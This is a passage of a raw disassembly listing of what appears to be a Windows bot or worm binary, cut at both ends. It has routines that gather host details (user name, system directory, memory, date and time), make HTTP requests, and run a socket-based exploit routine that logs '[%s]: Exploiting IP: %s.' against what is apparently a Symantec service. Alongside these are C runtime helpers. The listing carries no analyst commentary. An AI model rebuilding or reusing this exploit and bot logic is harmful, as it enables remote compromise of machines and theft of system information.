offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi call dword_427110 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_42710C ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_42719C ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 ; InternetGetConnectedStateEx test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 ; InternetCrackUrlA test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 ; HttpSendRequestA test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 ; InternetCloseHandle push [ebp+var_4] call dword_4CBA08 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_2 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: .packed:0041B843p ; .packed:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 ; send push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 ; send push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 ; send loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 ; send push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 ; send push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 ; send push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 ; send loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C ; closesocket loc_41B724: ; CODE XREF: .packed:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 ; htons mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C ; connect test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: .packed:0041B7CEj ; .packed:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC ; recv cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: .packed:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 ; send push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: .packed:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 ; send push 1 pop edi loc_41B800: ; CODE XREF: .packed:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: .packed:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: .packed:0041B756j ; .packed:0041B7B2j ... push ebx call dword_4CBA6C ; closesocket xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: .packed:0041B781j ; .packed:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 ; send lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi ; Sleep lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: .packed:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: .packed:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi ; Sleep push 2 pop edi loc_41B8E7: ; CODE XREF: .packed:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi ; Sleep dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi ; Sleep lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi ; Sleep xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi ; Sleep mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: .packed:0041B950j push 258h call esi ; Sleep lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: .packed:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; sub_401221+14Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 call dword_42714C ; RtlFreeHeap loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; sub_40FA3C+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 call dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call dword_4271A0 ; RtlReAllocateHeap mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 